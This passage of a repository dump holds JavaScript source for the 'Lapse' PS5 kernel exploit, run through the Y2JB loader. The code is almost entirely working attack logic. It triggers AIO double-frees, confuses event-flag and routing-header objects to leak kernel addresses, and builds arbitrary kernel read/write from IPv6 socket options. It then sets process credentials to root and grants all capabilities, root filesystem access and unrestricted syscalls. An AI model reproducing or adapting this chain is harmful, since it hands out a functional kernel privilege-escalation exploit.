            if (result === 0xffffffffffffffffn) {
                throw new Error("evf_create error: " + toHex(result));
            }
            return result;
        }

        function set_evf_flags(id, flags) {
            let result = syscall(SYSCALL.evf_clear, id, 0n);
            if (result === 0xffffffffffffffffn) {
                throw new Error("evf_clear error: " + toHex(result));
            }
            result = syscall(SYSCALL.evf_set, id, flags);
            if (result === 0xffffffffffffffffn) {
                throw new Error("evf_set error: " + toHex(result));
            }
            return result;
        }

        function free_evf(id) {
            const result = syscall(SYSCALL.evf_delete, id);
            if (result === 0xffffffffffffffffn) {
                throw new Error("evf_delete error: " + toHex(result));
            }
            return result;
        }

        function verify_reqs2(addr, cmd) {
            if (read32(addr) !== cmd) {
                return false;
            }

            const heap_prefixes = [];

            for (let i = 0x10n; i <= 0x20n; i += 8n) {
                if (read16(addr + i + 6n) !== 0xffffn) {
                    return false;
                }
                heap_prefixes.push(Number(read16(addr + i + 4n)));
            }

            const state1 = Number(read32(addr + 0x38n));
            const state2 = Number(read32(addr + 0x3cn));
            if (!(state1 > 0 && state1 <= 4) || state2 !== 0) {
                return false;
            }

            if (read64(addr + 0x40n) !== 0n) {
                return false;
            }

            for (let i = 0x48n; i <= 0x50n; i += 8n) {
                if (read16(addr + i + 6n) === 0xffffn) {
                    if (read16(addr + i + 4n) !== 0xffffn) {
                        heap_prefixes.push(Number(read16(addr + i + 4n)));
                    }
                } else if (i === 0x50n || read64(addr + i) !== 0n) {
                    return false;
                }
            }

            if (heap_prefixes.length < 2) {
                return false;
            }

            const first_prefix = heap_prefixes[0];
            for (let idx = 1; idx < heap_prefixes.length; idx++) {
                if (heap_prefixes[idx] !== first_prefix) {
                    return false;
                }
            }

            return true;
        }

        async function leak_kernel_addrs(sd_pair, sds) {
            
            const sd = sd_pair[0];
            const buflen = 0x80 * LEAK_LEN;
            const buf = malloc(buflen);

            await log("Confusing evf with rthdr...");

            const name = malloc(1);

            syscall(SYSCALL.close, BigInt(sd_pair[1]));

            let evf = null;
            for (let i = 1; i <= NUM_ALIAS; i++) {
                const evfs = [];

                for (let j = 1; j <= NUM_HANDLES; j++) {
                    const evf_flags = 0xf00n | (BigInt(j) << 16n);
                    evfs.push(new_evf(name, evf_flags));
                }

                get_rthdr(sd, buf, 0x80);

                const flag = Number(read32(buf));

                if ((flag & 0xf00) === 0xf00) {
                    const idx = (flag >>> 16) & 0xffff;
                    const expected_flag = BigInt(flag | 1);

                    evf = evfs[idx - 1];

                    set_evf_flags(evf, expected_flag);
                    get_rthdr(sd, buf, 0x80);

                    const val = read32(buf);
                    if (val === expected_flag) {
                        evfs.splice(idx - 1, 1);
                    } else {
                        evf = null;
                    }
                }

                for (let k = 0; k < evfs.length; k++) {
                    if (evf === null || evfs[k] !== evf) {
                        free_evf(evfs[k]);
                    }
                }

                if (evf !== null) {
                    await log("Confused rthdr and evf at attempt: " + i);
                    break;
                }
            }

            if (evf === null) {
                await log("Failed to confuse evf and rthdr");
                return null;
            }

            set_evf_flags(evf, 0xff00n);

            const kernel_addr = read64(buf + 0x28n);
            await log("\"evf cv\" string addr: " + toHex(kernel_addr));

            const kbuf_addr = read64(buf + 0x40n) - 0x38n;
            await log("Kernel buffer addr: " + toHex(kbuf_addr));

            const wbufsz = 0x80;
            const wbuf = malloc(wbufsz);
            const rsize = build_rthdr(wbuf, wbufsz);
            const marker_val = 0xdeadbeefn;
            const reqs3_offset = 0x10n;

            write32(wbuf + 4n, marker_val);
            write32(wbuf + reqs3_offset + 0n, 1n);   // .ar3_num_reqs
            write32(wbuf + reqs3_offset + 4n, 0n);   // .ar3_reqs_left
            write32(wbuf + reqs3_offset + 8n, AIO_STATE_COMPLETE); // .ar3_state
            write8(wbuf + reqs3_offset + 0xcn, 0n);  // .ar3_done
            write32(wbuf + reqs3_offset + 0x28n, 0x67b0000n); // .ar3_lock.lock_object.lo_flags
            write64(wbuf + reqs3_offset + 0x38n, 1n); // .ar3_lock.lk_lock = LK_UNLOCKED

            const num_elems = 6;

            const ucred = kbuf_addr + 4n;
            const leak_reqs = make_reqs1(num_elems);
            write64(leak_reqs + 0x10n, ucred);

            const num_loop = NUM_SDS;
            const leak_ids_len = num_loop * num_elems;
            const leak_ids = malloc(4 * leak_ids_len);
            const step = BigInt(4 * num_elems);
            const cmd = AIO_CMD_WRITE | AIO_CMD_FLAG_MULTI;

            let reqs2_off = null;
            let fake_reqs3_off = null;
            let fake_reqs3_sd = null;

            for (let i = 1; i <= NUM_LEAKS; i++) {
                for (let j = 1; j <= num_loop; j++) {
                    write32(wbuf + 8n, BigInt(j));
                    aio_submit_cmd(cmd, leak_reqs, num_elems, 3n, leak_ids + (BigInt(j - 1) * step));
                    set_rthdr(Number(sds[j - 1]), wbuf, rsize);
                }
                
                get_rthdr(sd, buf, buflen);

                let sd_idx = null;
                reqs2_off = null;
                fake_reqs3_off = null;

                for (let off = 0x80; off < buflen; off += 0x80) {
                    const offset = BigInt(off);

                    if (reqs2_off === null && verify_reqs2(buf + offset, AIO_CMD_WRITE)) {
                        reqs2_off = off;
                    }

                    if (fake_reqs3_off === null) {
                        const marker = read32(buf + offset + 4n);
                        if (marker === marker_val) {
                            fake_reqs3_off = off;
                            sd_idx = Number(read32(buf + offset + 8n));
                        }
                    }
                }

                if (reqs2_off !== null && fake_reqs3_off !== null) {
                    await log("Found reqs2 and fake reqs3 at attempt: " + i);
                    fake_reqs3_sd = sds[sd_idx - 1];
                    sds.splice(sd_idx - 1, 1);
                    free_rthdrs(sds);
                    sds.push(new_socket());
                    break;
                }

                free_aios(leak_ids, leak_ids_len);
            }

            if (reqs2_off === null || fake_reqs3_off === null) {
                await log("Could not leak reqs2 and fake reqs3");
                return null;
            }

            await log("reqs2 offset: " + toHex(BigInt(reqs2_off)));
            await log("fake reqs3 offset: " + toHex(BigInt(fake_reqs3_off)));

            get_rthdr(sd, buf, buflen);

            await log("Leaked aio_entry:");

            let leak_str = "";
            for (let i = 0; i < 0x80; i += 8) {
                if (i % 16 === 0 && i !== 0) leak_str += "\n";
                leak_str += toHex(read64(buf + BigInt(reqs2_off + i))) + " ";
            }
            await log(leak_str);
            
            const aio_info_addr = read64(buf + BigInt(reqs2_off) + 0x18n);
            
            let reqs1_addr = read64(buf + BigInt(reqs2_off) + 0x10n);
            reqs1_addr = reqs1_addr & ~0xffn;

            const fake_reqs3_addr = kbuf_addr + BigInt(fake_reqs3_off) + reqs3_offset;

            await log("reqs1_addr = " + toHex(reqs1_addr));
            await log("fake_reqs3_addr = " + toHex(fake_reqs3_addr));

            await log("Searching for target_id...");

            let target_id = null;
            let to_cancel = null;
            let to_cancel_len = null;

            const errors = malloc(4 * num_elems);

            for (let i = 0; i < leak_ids_len; i += num_elems) {
                aio_multi_cancel(leak_ids + BigInt(i * 4), num_elems, errors);
                get_rthdr(sd, buf, buflen);

                const state = read32(buf + BigInt(reqs2_off) + 0x38n);
                if (state === AIO_STATE_ABORTED) {
                    target_id = read32(leak_ids + BigInt(i * 4));
                    write32(leak_ids + BigInt(i * 4), 0n);

                    await log("Found target_id=" + toHex(target_id) + ", i=" + i + ", batch=" + Math.floor(i / num_elems));

                    const start = i + num_elems;
                    to_cancel = leak_ids + BigInt(start * 4);
                    to_cancel_len = leak_ids_len - start;

                    break;
                }
            }

            if (target_id === null) {
                await log("Target ID not found");
                return null;
            }

            cancel_aios(to_cancel, to_cancel_len);
            free_aios2(leak_ids, leak_ids_len);

            await log("Kernel addresses leaked successfully!");

            return {
                reqs1_addr: reqs1_addr,
                kbuf_addr: kbuf_addr,
                kernel_addr: kernel_addr,
                target_id: target_id,
                evf: evf,
                fake_reqs3_addr: fake_reqs3_addr,
                fake_reqs3_sd: fake_reqs3_sd,
                aio_info_addr: aio_info_addr
            };
        }

        function make_aliased_pktopts(sds) {
            const tclass = malloc(4);
            
            for (let loop = 0; loop < NUM_ALIAS; loop++) {
                for (let i = 0; i < sds.length; i++) {
                    write32(tclass, BigInt(i));
                    set_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
                }
                
                for (let i = 0; i < sds.length; i++) {
                    get_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
                    const marker = Number(read32(tclass));
                    
                    if (marker !== i) {
                        const sd_pair = [sds[i], sds[marker]];
                        log("Aliased pktopts at attempt " + loop + " (pair: " + sd_pair[0] + ", " + sd_pair[1] + ")");
                        
                        if (marker > i) {
                            sds.splice(marker, 1);
                            sds.splice(i, 1);
                        } else {
                            sds.splice(i, 1);
                            sds.splice(marker, 1);
                        }
                        
                        for (let j = 0; j < 2; j++) {
                            const sock_fd = new_socket();
                            set_sockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
                            sds.push(sock_fd);
                        }
                        
                        return sd_pair;
                    }
                }
                
                for (let i = 0; i < sds.length; i++) {
                    set_sockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0n, 0);
                }
            }
            
            return null;
        }

        async function double_free_reqs1(reqs1_addr, target_id, evf, sd, sds, sds_alt, fake_reqs3_addr) {
            const max_leak_len = (0xff + 1) << 3;
            const buf = malloc(max_leak_len);
            
            const num_elems = MAX_AIO_IDS;
            const aio_reqs = make_reqs1(num_elems);
            
            const num_batches = 2;
            const aio_ids_len = num_batches * num_elems;
            const aio_ids = malloc(4 * aio_ids_len);
            
            await log("Overwriting rthdr with AIO queue entry...");
            let aio_not_found = true;
            free_evf(evf);
            
            for (let i = 0; i < NUM_CLOBBERS; i++) {
                spray_aio(num_batches, aio_reqs, num_elems, aio_ids, true);
                
                const size_ret = get_rthdr(sd, buf, max_leak_len);
                const cmd = read32(buf);
                
                if (size_ret === 8n && cmd === AIO_CMD_READ) {
                    await log("Aliased at attempt " + i);
                    aio_not_found = false;
                    cancel_aios(aio_ids, aio_ids_len);
                    break;
                }
                
                free_aios(aio_ids, aio_ids_len, true);
            }
            
            if (aio_not_found) {
                await log("Failed to overwrite rthdr");
                return null;
            }
            
            const reqs2_size = 0x80;
            const reqs2 = malloc(reqs2_size);
            const rsize = build_rthdr(reqs2, reqs2_size);
            
            write32(reqs2 + 4n, 5n); // ar2_ticket
            write64(reqs2 + 0x18n, reqs1_addr); // ar2_info
            write64(reqs2 + 0x20n, fake_reqs3_addr); // ar2_batch
            
            const states = malloc(4 * num_elems);
            const addr_cache = [];
            for (let i = 0; i < num_batches; i++) {
                addr_cache.push(aio_ids + BigInt(i * num_elems * 4));
            }
            
            await log("Overwriting AIO queue entry with rthdr...");
            
            syscall(SYSCALL.close, BigInt(sd));
            sd = null;
            
            async function overwrite_aio_entry_with_rthdr() {
                for (let i = 0; i < NUM_ALIAS; i++) {
                    for (let j = 0; j < sds.length; j++) {
                        set_rthdr(sds[j], reqs2, rsize);
                    }
                    
                    for (let batch = 0; batch < addr_cache.length; batch++) {
                        for (let j = 0; j < num_elems; j++) {
                            write32(states + BigInt(j * 4), -1n);
                        }
                        
                        aio_multi_cancel(addr_cache[batch], num_elems, states);
                        
                        let req_idx = -1;
                        for (let j = 0; j < num_elems; j++) {
                            const val = read32(states + BigInt(j * 4));
                            if (val === AIO_STATE_COMPLETE) {
                                req_idx = j;
                                break;
                            }
                        }
                        
                        if (req_idx !== -1) {
                            await log("Found req_id at batch " + batch + ", attempt " + i);
                            
                            const aio_idx = batch * num_elems + req_idx;
                            const req_id_p = aio_ids + BigInt(aio_idx * 4);
                            const req_id = read32(req_id_p);
                            
                            aio_multi_poll(req_id_p, 1, states);
                            write32(req_id_p, 0n);
                            
                            return req_id;
                        }
                    }
                }
                
                return null;
            }
            
            const req_id = await overwrite_aio_entry_with_rthdr();
            if (req_id === null) {
                await log("Failed to overwrite AIO queue entry");
                return null;
            }
            
            free_aios2(aio_ids, aio_ids_len);
            
            const target_id_p = malloc(4);
            write32(target_id_p, BigInt(target_id));
            
            aio_multi_poll(target_id_p, 1, states);
            
            const sce_errs = malloc(8);
            write32(sce_errs, -1n);
            write32(sce_errs + 4n, -1n);
            
            const target_ids = malloc(8);
            write32(target_ids, req_id);
            write32(target_ids + 4n, BigInt(target_id));
            
            await log("Triggering double free...");
            aio_multi_delete(target_ids, 2, sce_errs);
            
            await log("Reclaiming memory...");
            const sd_pair = make_aliased_pktopts(sds_alt);
            
            const err1 = read32(sce_errs);
            const err2 = read32(sce_errs + 4n);
            
            write32(states, -1n);
            write32(states + 4n, -1n);
            
            aio_multi_poll(target_ids, 2, states);
            
            let success = true;
            if (read32(states) !== SCE_KERNEL_ERROR_ESRCH) {
                await log("ERROR: Bad delete of corrupt AIO request");
                success = false;
            }
            
            if (err1 !== 0n || err1 !== err2) {
                await log("ERROR: Bad delete of ID pair");
                success = false;
            }
            
            if (!success) {
                await log("Double free failed");
                return null;
            }
            
            if (sd_pair === null) {
                await log("Failed to make aliased pktopts");
                return null;
            }
            
            return sd_pair;
        }

        async function make_kernel_arw(pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr) {
            try {
                const master_sock = pktopts_sds[0];
                const tclass = malloc(4);
                const off_tclass = 0xc0n;  // PS5 offset
                
                const pktopts_size = 0x100;
                const pktopts = malloc(pktopts_size);
                const rsize = build_rthdr(pktopts, pktopts_size);
                const pktinfo_p = reqs1_addr + 0x10n;
                
                // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
                write64(pktopts + 0x10n, pktinfo_p);
                
                await log("Overwriting main pktopts");
                let reclaim_sock = null;
                
                syscall(SYSCALL.close, pktopts_sds[1]);
                
                for (let i = 1; i <= NUM_ALIAS; i++) {
                    for (let j = 0; j < sds_alt.length; j++) {
                        write32(pktopts + off_tclass, 0x4141n | (BigInt(j) << 16n));
                        set_rthdr(sds_alt[j], pktopts, rsize);
                    }
                    
                    get_sockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
                    const marker = read32(tclass);
                    if ((marker & 0xffffn) === 0x4141n) {
                        await log("Found reclaim socket at attempt: " + i);
                        const idx = Number(marker >> 16n);
                        reclaim_sock = sds_alt[idx];
                        sds_alt.splice(idx, 1);
                        break;
                    }
                }
                
                if (reclaim_sock === null) {
                    await log("Failed to overwrite main pktopts");
                    return null;
                }
                
                const pktinfo_len = 0x14;
                const pktinfo = malloc(pktinfo_len);
                write64(pktinfo, pktinfo_p);
                
                const read_buf = malloc(8);
                
                function slow_kread8(addr) {
                    const len = 8;
                    let offset = 0;
                    
                    while (offset < len) {
                        // pktopts.ip6po_nhinfo = addr + offset
                        write64(pktinfo + 8n, addr + BigInt(offset));
                        
                        set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
                        const n = get_sockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf + BigInt(offset), len - offset);
                        
                        if (n === 0n) {
                            write8(read_buf + BigInt(offset), 0n);
                            offset = offset + 1;
                        } else {
                            offset = offset + Number(n);
                        }
                    }
                    
                    return read64(read_buf);
                }
                
                const test_read = slow_kread8(kernel_addr);
                await log("slow_kread8(\"evf cv\"): " + toHex(test_read));
                const kstr = read_null_terminated_string(read_buf);
                await log("*(\"evf cv\"): " + kstr);
                
                if (kstr !== "evf cv") {
                    await log("Test read of \"evf cv\" failed");
                    return null;
                }
                
                await log("Slow arbitrary kernel read achieved");
                
                // Get curproc from previously freed aio_info
                const curproc = slow_kread8(aio_info_addr + 8n);
                
                if (Number(curproc >> 48n) !== 0xffff) {
                    await log("Invalid curproc kernel address: " + toHex(curproc));
                    return null;
                }
                
                const possible_pid = slow_kread8(curproc + kernel_offset.PROC_PID);
                const current_pid = syscall(SYSCALL.getpid);
                
                if ((possible_pid & 0xffffffffn) !== (current_pid & 0xffffffffn)) {
                    await log("curproc verification failed: " + toHex(curproc));
                    return null;
                }
                
                await log("curproc = " + toHex(curproc));
                
                kernel.addr.curproc = curproc;
                kernel.addr.curproc_fd = slow_kread8(kernel.addr.curproc + kernel_offset.PROC_FD);
                kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd) + kernel_offset.FILEDESC_OFILES;
                kernel.addr.inside_kdata = kernel_addr;
                
                function get_fd_data_addr(sock, kread8_fn) {
                    const filedescent_addr = kernel.addr.curproc_ofiles + sock * kernel_offset.SIZEOF_OFILES;
                    const file_addr = kread8_fn(filedescent_addr + 0x0n);
                    return kread8_fn(file_addr + 0x0n);
                }
                
                function get_sock_pktopts(sock, kread8_fn) {
                    const fd_data = get_fd_data_addr(sock, kread8_fn);
                    const pcb = kread8_fn(fd_data + kernel_offset.SO_PCB);
                    const pktopts = kread8_fn(pcb + kernel_offset.INPCB_PKTOPTS);
                    return pktopts;
                }
                
                const worker_sock = new_socket();
                const worker_pktinfo = malloc(pktinfo_len);
                
                // Create pktopts on worker_sock
                set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len);
                
                const worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8);
                
                write64(pktinfo, worker_pktopts + 0x10n);  // overlap pktinfo
                write64(pktinfo + 8n, 0n);  // clear .ip6po_nexthop
                set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
                
                function kread20(addr, buf) {
                    write64(pktinfo, addr);
                    set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
                    get_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len);
                }
                
                function kwrite20(addr, buf) {
                    write64(pktinfo, addr);
                    set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
                    set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len);
                }
                
                function kread8(addr) {
                    kread20(addr, worker_pktinfo);
                    return read64(worker_pktinfo);
                }
                
                // Note: this will write our 8 bytes + remaining 12 bytes as null
                function restricted_kwrite8(addr, val) {
                    write64(worker_pktinfo, val);
                    write64(worker_pktinfo + 8n, 0n);
                    write32(worker_pktinfo + 16n, 0n);
                    kwrite20(addr, worker_pktinfo);
                }
                
                write64(read_buf, kread8(kernel_addr));
                const kstr2 = read_null_terminated_string(read_buf);
                if (kstr2 !== "evf cv") {
                    await log("Test read of \"evf cv\" failed");
                    return null;
                }
                
                await log("Restricted kernel r/w achieved");
                
                // Initialize ipv6_kernel_rw with restricted write
                ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8);
                
                kernel.read_buffer = ipv6_kernel_rw.read_buffer;
                kernel.write_buffer = ipv6_kernel_rw.write_buffer;
                kernel.copyout = ipv6_kernel_rw.copyout;
                kernel.copyin = ipv6_kernel_rw.copyin;
                
                const kstr3 = kernel.read_null_terminated_string(kernel_addr);
                if (kstr3 !== "evf cv") {
                    await log("Test read of \"evf cv\" failed");
                    return null;
                }
                
                await log("Arbitrary kernel r/w achieved!");
                
                // RESTORE: clean corrupt pointers
                const off_ip6po_rthdr = 0x70n;  // PS5 offset
                
                for (let i = 0; i < sds.length; i++) {
                    const sock_pktopts = get_sock_pktopts(sds[i], kernel.read_qword);
                    kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0n);
                }
                
                const reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword);
                
                kernel.write_qword(reclaimer_pktopts + off_ip6po_rthdr, 0n);
                kernel.write_qword(worker_pktopts + off_ip6po_rthdr, 0n);
                
                const sock_increase_ref = [
                    ipv6_kernel_rw.data.master_sock,
                    ipv6_kernel_rw.data.victim_sock,
                    master_sock,
                    worker_sock,
                    reclaim_sock
                ];
                
                // Increase ref counts to prevent deallocation
                for (const each of sock_increase_ref) {
                    const sock_addr = get_fd_data_addr(each, kernel.read_qword);
                    kernel.write_dword(sock_addr + 0x0n, 0x100n);  // so_count
                }
                
                await log("Fixes applied");
                
                return true;
                
            } catch (e) {
                await log("make_kernel_arw error: " + e.message);
                await log(e.stack);
                return null;
            }
        }

        async function ps5_jailbreak() {
                        
            function find_allproc() {
                let proc = kernel.addr.curproc;
                while ((proc & 0xFFFFFFFF00000000n) !== 0xFFFFFFFF00000000n) {
                    proc = kernel.read_qword(proc + 0x8n);
                }
                return proc;
            }
            
            function pfind(pid) {
                let p = kernel.read_qword(allproc);
                while (p !== 0n) {
                    if (kernel.read_dword(p + kernel_offset.PROC_PID) === pid) {
                        return p;
                    }
                    p = kernel.read_qword(p);
                }
                throw new Error(`failed to find proc with pid ${pid}`);
            }
            
            function get_rootvnode() {
                const p = pfind(KERNEL_PID);
                const p_fd = kernel.read_qword(p + kernel_offset.PROC_FD);
                return kernel.read_qword(p_fd + ROOTVNODE_OFFSET);
            }

            function create_nonblock_pipe() {
                const [read_fd, write_fd] = create_pipe();
                syscall(SYSCALL.fcntl, read_fd,  F_SETFL, O_NONBLOCK);
                syscall(SYSCALL.fcntl, write_fd, F_SETFL, O_NONBLOCK);
                return [read_fd, write_fd];
            }

            function fget(fd) {
                const filedescent_addr = kernel.addr.curproc_ofiles + BigInt(fd) * kernel_offset.SIZEOF_OFILES;
                return kernel.read_qword(filedescent_addr);
            }
            
            function fhold(fp) {
                const refcount = kernel.read_dword(fp + 0x28n);
                kernel.write_dword(fp + 0x28n, refcount + 1n);
            }

            function get_fdata(fd) {
                return kernel.read_qword(fget(fd) + 0x0n);
            }
            
            kernel.addr.allproc = find_allproc();
            const allproc = kernel.addr.allproc;
            const p = kernel.addr.curproc;
            const ucred = kernel.read_qword(p + OFFSET_P_UCRED); // p_ucred
            
            kernel.write_dword(ucred + 0x04n, 0n); // cr_uid
            kernel.write_dword(ucred + 0x08n, 0n); // cr_ruid
            kernel.write_dword(ucred + 0x0Cn, 0n); // cr_svuid
            kernel.write_dword(ucred + 0x10n, 1n); // cr_ngroups
            kernel.write_dword(ucred + 0x14n, 0n); // cr_rgid
            kernel.write_dword(ucred + 0x18n, 0n); // cr_svgid

            // escalate sony privs
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCEAUTHID, SYSCORE_AUTHID); // cr_sceAuthID

            // enable all app capabilities
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS, 0xffffffffffffffffn); // cr_sceCaps[0]
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS + 8n, 0xffffffffffffffffn); // cr_sceCaps[1]

            // set app attributes
            kernel.write_byte(ucred + OFFSET_UCRED_CR_SCEATTRS, 0x80n); // SceAttrs
 
            // Allow root file system access.
            const rootvnode = get_rootvnode();        
            const p_fd = kernel.read_qword(p + 0x48n);
            
            kernel.write_qword(p_fd + 0x08n, rootvnode);  // fd_cdir
            kernel.write_qword(p_fd + 0x10n, rootvnode);  // fd_rdir
            kernel.write_qword(p_fd + 0x18n, 0n);         // fd_jdir
            
            // Allow syscall from everywhere.
            const p_dynlib = kernel.read_qword(p + 0x3e8n);
            kernel.write_qword(p_dynlib + 0xf0n, 0n);                    // start
            kernel.write_qword(p_dynlib + 0xf8n, 0xFFFFFFFFFFFFFFFFn);   // end
            
            // Allow dlsym.
            const dynlib_eboot = kernel.read_qword(p_dynlib + 0x00n);
            const eboot_segments = kernel.read_qword(dynlib_eboot + 0x40n);
            kernel.write_qword(eboot_segments + 0x08n, 0n);                   // addr
            kernel.write_qword(eboot_segments + 0x10n, 0xFFFFFFFFFFFFFFFFn);  // size
            
            const master_pipe = create_nonblock_pipe();
            const victim_pipe = create_nonblock_pipe();
            
            const master_rpipe_data = get_fdata(master_pipe[0]);
            const victim_rpipe_data = get_fdata(victim_pipe[0]);
            
            fhold(fget(master_pipe[0]));
            fhold(fget(master_pipe[1]));
            fhold(fget(victim_pipe[0]));
            fhold(fget(victim_pipe[1]));
            
            kernel.write_dword(master_rpipe_data + 0x00n, 0n);
            kernel.write_dword(master_rpipe_data + 0x04n, 0n);
            kernel.write_dword(master_rpipe_data + 0x08n, 0n);
            kernel.write_dword(master_rpipe_data + 0x0Cn, BigInt(PAGE_SIZE));
            kernel.write_qword(master_rpipe_data + 0x10n, victim_rpipe_data);
            
            await load_aioshellcode(allproc, master_pipe, victim_pipe);
            
        }
        
        async function cleanup() {
            await log("Performing cleanup...");

            try {
                if (block_fd !== 0xffffffffffffffffn) {
                    syscall(SYSCALL.close, block_fd);
                    block_fd = -1n;
                }
                if (unblock_fd !== 0xffffffffffffffffn) {
                    syscall(SYSCALL.close, unblock_fd);
                    unblock_fd = -1n;
                }

                if (groom_ids !== null) {
                    const groom_ids_addr = malloc(4 * NUM_GROOMS);
                    for (let i = 0; i < NUM_GROOMS; i++) {
                        write32(groom_ids_addr + BigInt(i * 4), BigInt(groom_ids[i]));
                    }
                    free_aios2(groom_ids_addr, NUM_GROOMS);
                    groom_ids = null;
                }

                if (block_id !== 0xffffffffffffffffn) {
                    const block_id_buf = malloc(4);
                    write32(block_id_buf, block_id);
                    const block_errors = malloc(4);
                    aio_multi_wait(block_id_buf, 1, block_errors, 1, 0n);
                    aio_multi_delete(block_id_buf, 1, block_errors);
                    block_id = -1n;
                }

                if (sds !== null) {
                    for (let i = 0; i < sds.length; i++) {
                        if (sds[i] !== 0xffffffffffffffffn) {
                            syscall(SYSCALL.close, sds[i]);
                            sds[i] = -1n;
                        }
                    }
                    sds = null;
                }

                if (sds_alt !== null) {
                    for (let i = 0; i < sds_alt.length; i++) {
                        if (sds_alt[i] !== 0xffffffffffffffffn) {
                            syscall(SYSCALL.close, sds_alt[i]);
                        }
                    }
                    sds_alt = null;
                }

                await log("Cleanup completed");

            } catch (e) {
                await log("Error during cleanup: " + e.message);
            }
        }
        
        ////////////////////
        // MAIN EXECUTION //
        ////////////////////
        
        await log(lapse_version);
        send_notification(lapse_version);
        
        if(typeof load_aioshellcode === "undefined") {
            await log("Update Y2JB to at least 1.5 version");
            send_notification("Update Y2JB to at least 1.5 version");
            return;
        }
        
        if (compare_version(FW_VERSION, "10.01") > 0) {
            await log("Unsupported fw " + FW_VERSION);
            send_notification("Unsupported fw " + FW_VERSION);
            return;
        }
        
        if(is_jailbroken()) {
            await log("Already Jailbroken");
            send_notification("Already Jailbroken");
            return;
        }
        
        failcheck_path = "/" + get_nidpath() + "/common_temp/lapse.fail";

        if(file_exists(failcheck_path)) {
            await log("Restart your PS5 to run Lapse again");
            send_notification("Restart your PS5 to run Lapse again");
            return;
        }
        
        write_file(failcheck_path, "");
        
        await log("\n=== STAGE 0: Setup ===");
        const setup_success = await setup();
        if (!setup_success) {
            await log("Setup failed");
            return;
        }
        
        await log("Setup completed");
            
        try {
            await log("\n=== STAGE 1: Double-free AIO ===");
            const sd_pair = await double_free_reqs2();
            if (sd_pair === null) {
                await log("Stage 1 race condition failed");
                await cleanup();
                await log("Exploit failed - Reboot and try again");
                send_notification("Exploit failed - Reboot and try again");
                return;
            }
            await log("Stage 1 completed");
            
            await log("\n=== STAGE 2: Leak kernel addresses ===");
            const leak_result = await leak_kernel_addrs(sd_pair, sds);
            if (leak_result === null) {
                await log("Stage 2 kernel address leak failed");
                await cleanup();
                await log("Exploit failed - Reboot and try again");
                send_notification("Exploit failed - Reboot and try again");
                return;
            }
            await log("Stage 2 completed");
            
            await log("Leaked addresses:");
            await log("  reqs1_addr: " + toHex(leak_result.reqs1_addr));
            await log("  kbuf_addr: " + toHex(leak_result.kbuf_addr));
            await log("  kernel_addr: " + toHex(leak_result.kernel_addr));
            await log("  target_id: " + toHex(BigInt(leak_result.target_id)));
            await log("  fake_reqs3_addr: " + toHex(leak_result.fake_reqs3_addr));
            await log("  aio_info_addr: " + toHex(leak_result.aio_info_addr));
    
            await log("\n=== STAGE 3: Double free SceKernelAioRWRequest ===");
            
            const pktopts_sds = await double_free_reqs1(
                leak_result.reqs1_addr,
                leak_result.target_id,
                leak_result.evf,
                sd_pair[0],
                sds,
                sds_alt,
                leak_result.fake_reqs3_addr
            );
            
            syscall(SYSCALL.close, BigInt(leak_result.fake_reqs3_sd));
    
            if (pktopts_sds === null) {
                await log("Stage 3 double free SceKernelAioRWRequest failed");
                await cleanup();
                await log("Exploit failed - Reboot and try again");
                send_notification("Exploit failed - Reboot and try again");
                return;
            }
            
            await log("Stage 3 completed!");
            await log("Aliased socket pair: " + pktopts_sds[0] + ", " + pktopts_sds[1]);

            await log("\n=== STAGE 4: Get arbitrary kernel read/write ===");
        
            const arw_result = await make_kernel_arw(
                pktopts_sds,
                leak_result.reqs1_addr,
                leak_result.kernel_addr,
                sds,
                sds_alt,
                leak_result.aio_info_addr
            );
            
            if (arw_result === null) {
                await log("Stage 4 get arbitrary kernel read/write failed");
                await cleanup();
                await log("Exploit failed - Reboot and try again");
                send_notification("Exploit failed - Reboot and try again");
                return;
            }
            
            await log("Stage 4 completed!");
            
            await log("\n=== STAGE 5: PS5 Jailbreak===");
            
            await ps5_jailbreak();
            await log("Stage 5 completed!");
            
            await cleanup();
            
            await log("Lapse finished");
            send_notification("Lapse finished");
            
            kill_youtube();
            
        } catch (e) {
            await log("Lapse error: " + e.message);
            await log(e.stack);
            
            await cleanup();
        }
        
    } catch (e) {
        await log("Lapse error: " + e.message);
        await log(e.stack);
    }
})();
```

## /payloads/setlogserver.js

```js path="/payloads/setlogserver.js" 
(async () => {
    if(version_string === "Y2JB 1.0 by Gezine") {
        
        await log("setlogserver is not supported on Y2JB 1.0");    
        
    } else {
        // Change this to your server
        LOG_SERVER = 'http://192.168.1.180:8080/log';
        
        await log("Setting log server url to " + LOG_SERVER);    
        
        await checkLogServer();
        
        if(NETWORK_LOGGING) {
            await log("Successfully connected with log server");
        } else {
            await log("Failed to connect with log server");
        }
    }
    
})()
```


The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.
Copied!